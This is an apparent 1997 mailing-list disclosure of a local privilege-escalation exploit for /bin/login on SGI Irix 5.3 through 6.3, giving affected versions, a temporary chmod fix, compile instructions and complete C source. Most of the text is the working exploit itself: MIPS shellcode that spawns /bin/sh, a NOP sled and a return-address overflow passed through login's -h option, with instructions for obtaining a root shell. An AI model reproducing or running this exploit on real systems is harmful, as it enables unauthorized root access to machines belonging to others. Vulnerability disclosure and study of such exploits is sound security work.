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-
- Impact: local users can get root access
- Vulnerable to this exploit: Irix 5.3 Irix64 6.2 Irix 6.3
- Tested on: R3000 Indigo (5.3), R4400 Indy (5.3), R5000 O2 (6.3), R8000
- PChallenge (Irix64 6.2)
- Temporary fix: chmod u-s /bin/login
-
- Note this will break login, although it should still work when called
- from telnetd, getty etc
-
- Compile the exploit with the '-n32' flag if compiling under 6.x
-
- When run, you will be prompted for a password. Just press enter at this
- point and you will handed a root shell.
-
- Regards,
-
- David Hedley (hedley@cs.bris.ac.uk)
-
- --------------------- cut here --------------------------------
-
- /* /bin/login exploit by DCRH 24/5/97
- *
- * Tested on: R3000 Indigo (Irix 5.3)
- * R4400 Indy (Irix 5.3)
- * R5000 O2 (Irix 6.3)
- * R8000 Power Challenge (Irix 6.2)
- *
- * Compile as: cc -n32 login.c (for Irix 6.x)
- * cc login.c (for Irix 5.x)
- *
- * Press enter when prompted for a password
- *
- */
-
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <sys/types.h>
- #include <unistd.h>
-
- #define BUF_LENGTH 200
- #define EXTRA 300
- #define OFFSET 0x1b0
- #define IRIX_NOP 0x03e0f825 /* move $ra,$ra */
-
- #define u_long unsigned
-
- u_long get_sp_code[] = {
- 0x03a01025, /* move $v0,$sp */
- 0x03e00008, /* jr $ra */
- 0x00000000, /* nop */
- };
-
- u_long irix_shellcode[] = {
- 0x24041234, /* li $4,0x1234 */
- 0x2084edcc, /* sub $4,0x1234 */
- 0x0491fffe, /* bgezal $4,pc-4 */
- 0x03bd302a, /* sgt $6,$sp,$sp */
- 0x23e4012c, /* addi $4,$31,264+36 */
- 0xa086feff, /* sb $6,-264+7($4) */
- 0x2084fef8, /* sub $4,264 */
- 0x20850110, /* addi $5,$4,264+8 */
- 0xaca4fef8, /* sw $4,-264($5) */
- 0xaca6fefc, /* sw $4,-260($5) */
- 0x20a5fef8, /* sub $5, 264 */
- 0x240203f3, /* li $v0,1011 */
- 0x03ffffcc, /* syscall 0xfffff */
- 0x2f62696e, /* "/bin" */
- 0x2f7368ff, /* "/sh" */
- };
-
- char buf[BUF_LENGTH + EXTRA + 8];
-
- void main(int argc, char **argv)
- {
- char *env[] = {NULL};
- u_long targ_addr, stack;
- u_long *long_p;
- int i, code_length = strlen((char *)irix_shellcode)+1;
- u_long (*get_sp)(void) = (u_long (*)(void))get_sp_code;
-
- stack = get_sp();
-
- long_p =(u_long *) buf;
- targ_addr = stack + OFFSET;
-
- if (argc > 1)
- targ_addr += atoi(argv[1]);
-
- while ((targ_addr & 0xff000000) == 0 ||
- (targ_addr & 0x00ff0000) == 0 ||
- (targ_addr & 0x0000ff00) == 0 ||
- (targ_addr & 0x000000ff) == 0)
- targ_addr += 4;
-
- for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
- *long_p++ = IRIX_NOP;
-
- for (i = 0; i < code_length/sizeof(u_long); i++)
- *long_p++ = irix_shellcode[i];
-
- for (i = 0; i < EXTRA / sizeof(u_long); i++)
- *long_p++ = (targ_addr << 24) | (targ_addr >> 8);
-
- *long_p = 0;
-
- printf("stack = 0x%x, targ_addr = 0x%x\n", stack, targ_addr);
-
- execle("/bin/login", "login", "-h", &buf[1], 0, env);
- perror("execl failed");
- }
-